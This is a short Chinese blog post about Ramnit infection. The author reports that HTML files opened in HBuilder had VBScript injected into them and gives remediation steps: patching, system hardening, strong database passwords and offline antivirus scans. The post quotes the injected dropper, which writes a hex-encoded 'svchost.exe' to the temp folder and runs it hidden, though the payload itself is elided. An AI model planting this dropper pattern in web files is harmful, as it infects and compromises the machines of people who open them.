ramnit病毒

最新推荐文章于 2026-05-06 08:17:16 发布

原创最新推荐文章于 2026-05-06 08:17:16 发布 · 9.6k 阅读

3 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#病毒

收录于

E计算机理论专栏收录该内容

3 篇文章

订阅专栏

在使用Hbuilder时，发现HTML文件被植入ramnit病毒，表现为含有VBScript的恶意代码。该病毒为感染型，需断开网络防止反复感染，并采取一系列措施进行清理和查杀。包括：漏洞修复、系统防黑加固、设置强口令以及使用最新版360杀毒软件全盘扫描。

今天打开Hbuilder，发现每个html文档都有如下代码：

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData =4B3F9................................................................0FAB3F-------无数个十六进制字符

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0

//--></SCRIPT>

网上搜索是电脑中的ramnit病毒

此类病毒是感染类病毒，要先断源，防止反复感染，然后清理查杀才有效

1.使用漏洞修复扫描，并安装所有的高危漏洞补丁

2.使用安全卫士--功能大全---系统防黑加固扫描，解决系统薄弱项，防止因为弱口令问题导致反复感染

3.如果有安装oracle，my SQL之类的数据库软件，请将登录口令设置在16位以上，要包含大小写，数字和特殊字符，理由同上

4.下载安装最新版的360杀毒，并在断网情况下进行下全盘扫描扫描完毕后重启，然后再次全盘扫描，即可解决问题